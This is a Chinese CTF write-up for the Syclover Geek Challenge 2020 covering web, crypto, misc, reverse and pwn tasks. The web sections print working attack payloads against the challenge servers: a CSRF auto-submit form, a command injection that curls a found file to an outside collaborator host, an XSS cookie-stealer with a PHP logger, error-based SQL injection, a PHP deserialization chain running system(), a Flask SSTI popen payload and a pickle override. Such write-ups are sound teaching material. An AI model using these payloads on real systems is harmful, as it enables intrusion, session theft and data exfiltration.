三叶草 极客大挑战2020 部分题目Writeup

三叶草极客大挑战2020 部分题目Writeup

Web

Welcome

打开后状态码405,555555,然后看了一下报头存在请求错误,换成POST请求后,查看到源码

 <?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {
    
    if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
        show_source(__FILE__);
    }
    else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
        phpinfo();  // collect information from phpinfo!
    }
} 

Payload:POST:roam1[]=1&roam2[]=2

去phpinfo查看内容,发现存在f1444aagggg.php页面,打开又没内容,再去报文看看,返回包报头看到flag,为SYC{w31c0m3_t0_5yc_r0@m_php1}

flagshop

一开始不知道怎么做,然后群里管理员说修复了BOT,以为是存储型XSS的考点,然后尝试了几种方法都没作用。然后就去休息了,回来后发现给了hint,说了是CSRF的考点,没接触过,百度学习了一下,上个链接:https://juejin.im/post/6844903689702866952,看了一下应该是从提交报告让BOT转账给我们。

先用Burp构造一个CSRF的Poc,这里需要补充一句:

让他发送提交的作用。这里构造好后要放在VPS上,这里谢谢m3w师傅提供!

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://173.82.206.142:8005/transfer.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="target" value="atao" />
      <input type="hidden" name="money" value="10000" />
      <input type="hidden" name="messages" value="xxx" />
      <input type="submit" value="Submit request" />
    </form>
    <script>document.forms[0].submit(); </script>
  </body>
</html>

有个验证码需要md5加密,写个脚本

#coding: utf-8

import hashlib
s = ''
dic = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
md5 = hashlib.md5(dic).hexdigest()

for a in dic:
	for b in dic:
		for c in dic:
			for d in dic:
				t = str(a)+str(b)+str(c)+str(d)
				md5 = hashlib.md5(t).hexdigest()
				if md5[0:5] == 'b2156':
					print t
					print md5

提交的报告内容

<script>
    new Image().src = 'Payload的网址';
</script>

过一会儿就转钱过来了,然后购买flag即可,最后flag为SYC{cross_s1t3_r3q43st_4orgery_1s_44nny}

朋友的学妹

打开后提示为查看源码,通过查看获得注释内容,上面还有使用base64解码的字样,即解码注释内容获得flag,为SYC{F1@_4s_h4Lpfullllll}

EZwww

根据提示存在备份文件,尝试发现为www.zip,获得一个假的flag和源码,源码如下

<html>
 <head>
  <title>Lola's website1.0</title>
 </head>
 <body>
 <?php echo '<h1>welcome to my website</h1>'; ?>
 <?php echo '<p>i will never forget to backup my website......</p>'; ?>
 <?php echo '<img src="img/lola.gif" alt="welcome~"/>'; ?>
 </body>
</html>
<?php
$key1 = $_POST['a'];
$key2 = base64_decode('c3ljbDB2ZXI=');
if($key1 === $key2)
{
    //this is a true flag
echo '<p>SYC{xxxxxxxxxxxxxxxxxx}</p>';
}
?>

通过POST请求a变量然后比较base64解码内容获得flag,Payload:POST:a=sycl0ver,获得flag为SYC{Backup_1s_4_good_h4bit_l0l}

EZgit

通过提示知道是使用GitHack获得源文件,但是源文件打开后得到的是flag is toooo old!,根据题目提示应该是版本的问题,通过命令git log查看,发现存在另一个版本有flag的,使用命令git diff 3796466675a1db323e42170def92bee71344a2ee进行对比,获得flag为SYC{I_l0ve_sycl0ver_l0l}

刘壮的黑页

进去后到最下面看到一段代码,GET请求传入username变量,POST请求传入passwd变量,两个变量分别等于admin和syclover获得flag

Payload:

GET:?username=admin

POST:passwd=syclover

flag为SYC{d0_y0u_k0nw_GET?}

我是大黑客

打开后看到存在.bak的文件,然后用蚁剑连接,根目录下存在flag,flag为SYC{1iuzHuang_yyd_G0d!}

ezbypass

打开后如下:

Please use a GET request to pass in the variables a and b, compare them with strcmp and let strcmp return a value of NULL.

Note that a and b cannot be equal.

传一个a和b不相等且strcmp后置空,一个等于数组就可以绕过了

接着是:

OKOK,You got the first step.
Please POST a variable c that is not a number to make it equal to 123

传入c=123,但不是数字,应该是弱比较

Payload:GET:?a=x&b[];POST:c=123e

flag为SYC{php_4s_so_funny}

知X堂的php教程

存在一个目录穿梭和一个读取文件两个页面

分别查看了两个文件,目录穿梭使用的是exec("ls $search_dir", $contents);,不是$contents = scandir($search_dir);,那可能命令执行的漏洞。

但是不知道flag在哪里,但是可以使用find / -name flag配合``反引号带出flag文件的位置

Payload:http://47.94.239.194:8082/listdir.php?dirname=;curl -X POST -F xx=@`find / -name flag` http://aesuim9gty25alcdnjqwy4tj2a80wp.burpcollaborator.net

Myblog

题目给出了提示:1.Do you know the PHP pseudo-protocol? 2.Every 5 minutes remove all upload files.

先找找与伪协议有关的内容,这里从url可以看出来,http://173.82.206.142:8006/index.php?page=home,后面home应该是存在漏洞的,是用伪协议进行读取,http://173.82.206.142:8006/index.php?page=php://filter/read=convert.base64-encode/resource=home

然后就是在登陆的地方获得一下源码,主要是验证的地方

admin/user.php(仅列出主要代码)

<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
	if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){  // No one knows my password, including myself
		$logined = true;
		$_SESSION['status'] = $logined;
	}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
    echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
	die();
}
?>

只需要验证对if ($_POST['username'] === "Longlone" and $_POST['password']==$_SESSION['password'])就可以登陆了,username很好实现,但是password和SESSION就不容易,但是置空的话就可以很轻易实现,完成登陆了。

接着从第二点提示可以看出,应该是文件上传的洞,找了一下发现只有上传头像的功能,那应该就是这里了,发现只能上传图片,最后解析成了图片,想到了文件包含,可以是用zip协议这类的,这里将php文件压缩后,更改后缀名,上传文件,然后访问?page=./路径+上传文件名%23压缩包中的文件名,即可。这里#一定要urlcode编码。

带恶人六撞

?id=1'
返回
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
判断存在sql报错注入

先尝试
?id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1))
返回
hacker?

再试试别的报错函数,这里想到了上一届极客大挑战的extractvalue函数,这里用^进行连接
?id=1'^extractvalue(1,concat(0x7e,(select(database()))))%23
返回
XPATH syntax error: '~geek_sql'

然后查看表名
?id=1'^extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='geek_sql')))%23
返回
XPATH syntax error: '~blog,fllllag'

查看列名
?id=1'^extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='fllllag')))%23
返回
XPATH syntax error: '~id,fllllllag'

查看fllllag表中的fllllllag列
?id=1'^extractvalue(1,concat(0x7e,(select group_concat(fllllllag) from fllllag)))%23
返回
XPATH syntax error: '~welcome_to_syclover,longlone_ne'

好像没有回显全部内容,应该是extractvalue函数存在回显长度,配合limit回显每一行的内容
?id=1'^extractvalue(1,concat(0x7e,(select fllllllag from fllllag limit 2,1)))%23
返回
XPATH syntax error: '~SYC{liuzhuang_4s_@_G00d_m@n}'

告白网站

打开后是一个留言网站,测试了一下只有留言功能,想到了XSS,不过存在过滤,手工测试了一下过滤了"."、"%"、"&"、"=",这个验证机制真是要人命,百度了一圈都没有结果。后来看到了JSfuck,这个好像就是为了防止xss中被waf过滤出现的。

new Image().src="http://xxx.xxx.xxx.xxx/atao/test.php?cookie="+document.cookie;

将上面的内容通过jsfuck加密,然后用<script></script>框起来,发送,过一会儿就可以看到flag了。

IP: 101.132.140.4Date: 2020-11-05 3:08:56 Cookie:PHPSESSID=8fc34c9e3b713a9363d7db177468571e; cookie=SYC{This_iS_your_gift!!!!}

本来是想用XSS平台做的,但是一直没成功,感觉是自己太菜了不会用,因为只会用上面给的代码,然后借了Firebasky师傅vps用写了个php,代码如下:

<?php
$cookie = $_GET['cookie'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>   

pop chain epic

源码如下:

<?php
class pop
{
    public $aaa;
    public static $bbb = false;
    public function __wakeup()
    {
        //Do you know CVE?
        echo "The class pop should never be serialized.";
        $this->aaa = NULL;
    }
    public function __destruct()
    {
        for ($i=0; $i<2; $i++) {
            if (self::$bbb) {
                $this->aaa[1]($this->aaa[2]);
            } else {
                self::$bbb = call_user_func($this->aaa["object"]);
            }
        }
    }
}
class chain
{
    private $AFKL;
    protected function getAFKL()
    {
        return $this->AFKL;
    }
}
class epic extends chain
{
    public $aaa;
    public static $bbb = false;
    public function __invoke()
    {
        return self::$bbb;
    }
    public function __call($name, $params)
    {
        return $this->aaa->$name($params);
    }
}
if (isset($_GET["code"])) {
    unserialize(base64_decode($_GET["code"]));
} else {
    highlight_file(__FILE__);
}

很有趣的一道题目,被带着一直走,思路没对,一直以为要和下面那个继承类的东西合在一起,然后输出AFKL的值,一开始看到__invoke()魔术方法,感觉很开心,然后测试后发现不行,因为epic类中的bbb也是静态的false,所以调用函数后,pop类中的bbb还是false,所以这里应该是要调用函数,然后取执行$this->aaa[1]($this->aaa[2]),这个也可以从for循环中看出来,因为for循环只做两次,说明第一次去了回调函数,第二次应该不是去回调函数了。有了接下来的一段php代码

<?php
class pop
{
    public $aaa;
    public static $bbb = false;
}
class chain
{
    private $AFKL;
    protected function getAFKL()
    {
        return $this->AFKL;
    }
}
class epic extends chain
{
    public $aaa;
    public static $bbb = false;
}
$a = new pop();
$a->$aaa = array('object'=>'phpinfo',1=>'echo',2=>'getAFKL');

object(pop)#1 (2) {
  ["aaa"]=>
  NULL
  [""]=>
  array(3) {
    ["object"]=>
    string(7) "phpinfo"
    [1]=>
    string(4) "echo"
    [2]=>
    string(7) "getAFKL"
  }
}

这段代码存在一个最致命的错误,就是$a->$aaa,这个本来是想对aaa变量进行赋值的,但是前面写了$,所以这里出来的类会存在两个变量,然后因为我一直没看类的亚子,所以这里卡成一个傻逼。不过以后也要记住对于类中的变量的赋值!!!

<?php
error_reporting(0);

class pop
{
    public $aaa;
    public static $bbb = false;
}

$a = new pop();
$a->aaa = array('object'=>'phpinfo',1=>'system',2=>'cat /flag');
echo base64_encode(str_replace(":1:",":2:",serialize($a)));

X迪的pyp语言

​ 打开网站后是一个登陆框,查看一下源码发现了,访问后获得了网站的源码,如下:

import re
from flask import Flask, render_template_string, request
import templates.templates as tp

app = Flask(__name__)

def isParamLegal(param):
    return (re.search(r'{{.*}}|{%.*%}', param, re.M|re.S) is None)

@app.route('/') 
@app.route('/index.php') 
def main():
    indexTp = tp.head + tp.index + tp.foot
    return render_template_string(indexTp)

@app.route('/login.php', methods=["POST"])
def login():
    username = request.form.get('username')
    password = request.form.get('password')

    if(isParamLegal(username) and isParamLegal(password)):
        message = "Username:" + username + "&" + "Password:" + password
    else:
        message = "参数不合法"

    loginTmpTp = tp.head + tp.login + tp.foot
    loginTp = loginTmpTp % message

    return render_template_string(loginTp)

@app.route("/hint.php")
def hint():
    with open(__file__, "rb") as f:
        file = f.read()
    return file

if __name__ == '__main__':
    app.run(host="0.0.0.0")

考点知道了是SSTI,但是需要构造,不过存在一个自定义函数,对于单个username或者password进行了限制,不能单个构造出{{ }}或者{% %}这样的内容,但是通过观察,从message下手依旧是可以的,将"{{"和"}}"分别给username和password变量。构造如下:

username = "{{'"
password = "'.__class__}}"
message = "Username:" + username + "&" + "Password:" + password
print message
#返回
Username:{{'&Password:'.__class__}}
#在网站上测试返回
Username:<class 'str'>

#由于没啥过滤很容就可以获得flag了
Payload:
username={{'
password='.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("cat flag").read()}}

Longlone_Secret1

​ 访问网址,没看出来有啥内容,F12查看源码获得:,GET请求传入name变量后获得源码,如下

from flask import Flask, request
import base64
import pickle
import io
import sys
import secret

app = Flask(__name__)


class YourSecret:
    def __init__(self, name):
        self.name = name


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__': #只允许__main__模块(白名单)
            return getattr(sys.modules['__main__'], name) #返回对象属性值
        raise pickle.UnpicklingError(
            "global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


@app.route('/')
def start():
    if request.args.get('name'):
        text = open(__file__, 'r', encoding='utf-8').read()
        return text
    else:
        return "我之前听说Longlone深藏着一个秘密,但是今天他居然跟我说他把这个秘密藏在了一个地方,如果我可以找到的话,他就会给我一些奖励。<br>"\
               "<br>但是他和我说要按他说的规矩来:必须凑够两个人才能开始游戏,那么,你愿意和我一起来吗?<br>"\
               "<br>你说你愿意?那真的太好了,那么,在开始之前,告诉我你的名字吧!<br>"\
               "<!-- Let me GET your name, so we can get started. -->"\


@app.route('/secret', methods=['GET', 'POST'])
def eql():
    if request.method == 'POST':  #POST请求才可以继续做
        try:
            data = base64.b64decode(request.form.get('secret')) #传入的secret变量进行base64解码
            if b'R' in data: #opcode代码中不能存在"R"字符,opcode中经常使用通过R指令码进行命令执行
                return "嗯?还想开挂?小心把你关进神仙服!"
            else:
                ser_data = restricted_loads(data) #进行pickle.loads反序列化
            if type(ser_data) is not YourSecret: #反序列化后的ser_data应该要属于YourSecret类
                return 'Are U sure this is longlone\'s secret?'
            if ser_data.name == YourSecret(secret.name).name: #这里需要反序列化中的name等于secret类中的name值
                return secret.flag #即可获得flag
            else:
                return 'The secret is incorrect!'
        except Exception as e:
            return repr(e) + '<br/>What do U want to do?'
    else:
        return "相信你也看到Longlone给我们的提示了,那么你能猜出他的秘密是什么吗?<br>"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

​ 重点代码是/secret路由,分析写在上面了,这里能想到的方式有两种:1)变量赋值,即在传入反序列化字符串时,就让name=secret.name,但是这里多加了一个限制,修改了pickle.Unpickler.find_class()这个函数,使得我们要调用secret.name时会报错:_pickle.UnpicklingError: global 'secret.name' is forbidden,所以这里使用不了这个方法;2)变量覆盖,通过GLOBAL指令引入的变量,可以看作是原变量的引用。当在栈上修改它的值时,也会导致原变量也被修改,这里这主要就是利用了这个方法,原理的话之后会有一篇文章专门总结的。

Payload:secret=gANjX19tYWluX18Kc2VjcmV0Cn0oVm5hbWUKVmFkbWluCnViMGNfX21haW5fXwpZb3VyU2VjcmV0CimBfShYBAAAAG5hbWVYBQAAAGFkbWludWIu

转成opcode编码
\x80\x03c__main__\nsecret\n}(Vname\nVadmin\nub0c__main__\nYourSecret\n)\x81}(X\x04\x00\x00\x00nameX\x05\x00\x00\x00adminub.

简单的Payload:b"c__main__\nsecret\n}(S'name'\nS'xxx'\nub0(i__main__\nYourSecret\n(dS'name'\nS'xxx'\nsb."

使用的方式是变量覆盖,RestrictedUnpickler.find_class方法可以返回对象属性值,其中操作符c可以调用该方法,则有了c__main__\nsecret\n;模块__dict__属性是可以进行修改的,构造一个字典来修改对应键为什么值,构造通过}(S'name'\nS'xxx'\nu完成,然后使用b指令修改__dict__;最后使用0指令将它弹出栈;后接一个YouSecret类转成opcode字符串即可。

Cry

二战情报员刘壮

使用的是摩斯电码,flag为SYC{L1UZHU4NGIZ1Y1}

铠甲与萨满

使用的是凯撒密码,flag为SYC{liuzhuangliuzhuang_bangbangbang}

Misc

一“页”障目

将海报上的字符拼起来即可

壮言壮语

看到了佛曰,为与佛论禅,通过在线网站解码http://www.keyfc.net/bbs/tools/tudoucode.aspx,获得flag为SYC{i_l0ve_Japanese_wife}

Re

No RE no gain

使用IDA打开后,在main函数(不用F5伪代码)中直接看到flag

我真不会写驱动!

应该是非预期了,IDA打开后在sub_140001010函数直接看到flag,flag为SYC{First_Win64_DRIVER}

re00

题目提示了简单的异或,先看看主函数有没有东西,发现了:if ( (char)(buf[i] ^ 0x44) != byte_4060[i] ),异或的点找到了,然后根据上面的内容buf[i]是输入的字符串,所以要去看byte_4060[i]的内容,查看byte_4060获得下面的内容

char byte_4060[32]
.data:0000000000004060 byte_4060       db 17h, 1Dh, 7, 3Fh, 37h, 2Dh, 29h, 34h, 28h, 21h, 1Bh
.data:0000000000004060                                         ; DATA XREF: main+93↑o
.data:0000000000004060                 db 37h, 2Dh, 29h, 34h, 28h, 21h, 1Bh, 3Ch, 2Bh, 3 dup(36h)
.data:0000000000004060                 db 1Bh, 36h, 2Dh, 23h, 2Ch, 30h, 2 dup(7Bh), 39h

//n dup(m)的意思为n个m

将内容和0x44异或获得flag,脚本如下

a =[0x17, 0x1D, 0x7, 0x3F, 0x37, 0x2D, 0x29, 0x34, 0x28, 0x21, 0x1B,0x37, 0x2D, 0x29, 0x34, 0x28, 0x21, 0x1B, 0x3C, 0x2B, 0x36,0x36,0x36,0x1B, 0x36, 0x2D, 0x23, 0x2C, 0x30, 0x7B, 0x7B, 0x39]
b = 0x44
flag = ''
for i in a:
    flag =flag + chr(i ^ b)
print flag

flag为SYC{simple_simple_xorrr_right??}

PWN

数学咋样?

先用nc连接看看,看到如下

------------------------------------------
Can you help me to solve my math problem?
------------------------------------------
I have 20 tests
![0]  num_1 = 180, num_2 = 428
I can't calculate the expression 'num_1 + num_2'.
input your answer:

是一个加法,要循环20次就可以获得flag了,这里可以直接计算20次加法,也可以使用脚本,按照提示应该是要用脚本的。刚好上半年学了一点Pwn,这里用一下。脚本如下

import re
from pwn import *

p = remote('81.69.0.47',1111)
p.recvline()
p.recvline()
p.recvline()

for i in range(0,20):
    put1 = p.recvline()
    put = p.recvline()
    calc1 = re.search(r'num_1 = (.*),',put).group().replace('num_1 = ','').replace(',','')
    calc2 = re.search(r'num_2 = (.*)\n',put).group().replace('num_2 = ','').replace('\n','')
    #print calc1
    #print calc2
    s = str(eval(calc1+'+'+calc2))
    #print s
    p.recvline()
    put2 = p.recvn(18)
    p.sendline(s)
while True:
    strr = p.recvline()
    print strr
    if "SYC" in strr:
        break
Pwntools库的一些常用函数

本地打开:p=process('./filename')
远程打开:p=remote('ip地址',端口)

发送payload
1)p.send(payload)发生payload
2)p.sendline(payload)发送payload,并进行换行(末尾\n)
3)p.sendfter(some_string,payload)接收到some_string后,发送你的payload
接收返回内容
4)p.recvn(N)接受N个字符
5)p.recvline()接收一行输出
6)p.recvline(N)接收N行输出
7)p.recvuntil(some_string)接收到some_string为止

本文作者:erR0Ratao

本文链接:https://www.cnblogs.com/erR0Ratao/p/14023017.html

posted @ 2020-11-23 10:05  erR0Ratao  阅读(2191)  评论(0编辑  收藏  举报